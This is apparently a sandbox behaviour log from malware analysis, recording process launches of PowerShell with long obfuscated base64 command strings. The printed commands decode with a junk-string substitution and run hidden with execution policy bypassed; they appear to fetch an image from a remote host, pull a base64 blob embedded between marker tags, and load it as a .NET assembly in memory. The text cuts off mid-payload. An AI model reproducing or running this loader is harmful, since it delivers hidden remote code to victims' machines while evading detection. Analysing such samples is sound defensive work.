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wOwWIbeIlJvgPHIwCpPwOwWIbeIlJvgPbwBtwCpPwOwWIbeIlJvgPEIwCpPwOwWIbeIlJvgPYQBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPNgwCpPwOwWIbeIlJvgP0wCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBywCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbgBnwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcwBlwCpPwOwWIbeIlJvgPDYwCpPwOwWIbeIlJvgPNwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPbwBhwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQBkwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPcwBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbQBiwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPeQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPeQBzwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPUgBlwCpPwOwWIbeIlJvgPGYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBpwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbgwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPcwBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbQBiwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPeQBdwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPOgBMwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPYQBkwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPEIwCpPwOwWIbeIlJvgPeQB0wCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPcwwCpPwOwWIbeIlJvgPpwCpPwOwWIbeIlJvgPDswCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPB0wCpPwOwWIbeIlJvgPHkwCpPwOwWIbeIlJvgPcwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBvwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPQQBzwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPRwBlwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPRgBpwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPZQBywCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPSwCpPwOwWIbeIlJvgPBvwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPbwBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPE0wCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPbwBkwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwBWwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPSQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPLgBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPdgBvwCpPwOwWIbeIlJvgPGswCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPbgB1wCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPWwBvwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPagBlwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPF0wCpPwOwWIbeIlJvgPXQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwBkwCpPwOwWIbeIlJvgPEgwCpPwOwWIbeIlJvgPawCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPwwCpPwOwWIbeIlJvgPEwwCpPwOwWIbeIlJvgPbQBWwCpPwOwWIbeIlJvgPHUwCpPwOwWIbeIlJvgPYgwCpPwOwWIbeIlJvgPzwCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPeQBZwCpPwOwWIbeIlJvgPFYwCpPwOwWIbeIlJvgPYwwCpPwOwWIbeIlJvgPxwCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPRwCpPwOwWIbeIlJvgPBNwCpPwOwWIbeIlJvgPHkwCpPwOwWIbeIlJvgPTQBTwCpPwOwWIbeIlJvgPDkwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBtwCpPwOwWIbeIlJvgPEwwCpPwOwWIbeIlJvgPegBJwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTQBpwCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPegBNwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPRQB1wCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTwCpPwOwWIbeIlJvgPBqwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwBNwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPOwCpPwOwWIbeIlJvgPB2wCpPwOwWIbeIlJvgPE8wCpPwOwWIbeIlJvgPbgBCwCpPwOwWIbeIlJvgPDwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBHwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPLwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPDIwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPbwBvwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPxwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwBDwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPXwCpPwOwWIbeIlJvgPBXwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPdwBzwCpPwOwWIbeIlJvgPFwwCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPcwCpPwOwWIbeIlJvgPBcwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPLwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPRwBvwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPZwBswCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPcgBvwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPKQwCpPwOwWIbeIlJvgP=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('wCpPwOwWIbeIlJvgP','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000338
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command "$Codigo = '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OwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP9wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgP8wCpPwOwWIbeIlJvgPDwwCpPwOwWIbeIlJvgPQgBBwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPRQwCpPwOwWIbeIlJvgP2wCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPXwBFwCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPRwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP+wCpPwOwWIbeIlJvgPD4wCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbQBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQBUwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPB0wCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPSQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPE8wCpPwOwWIbeIlJvgPZgwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPKQwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPZQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPSQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPaQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwBlwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPLgBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTwBmwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBGwCpPwO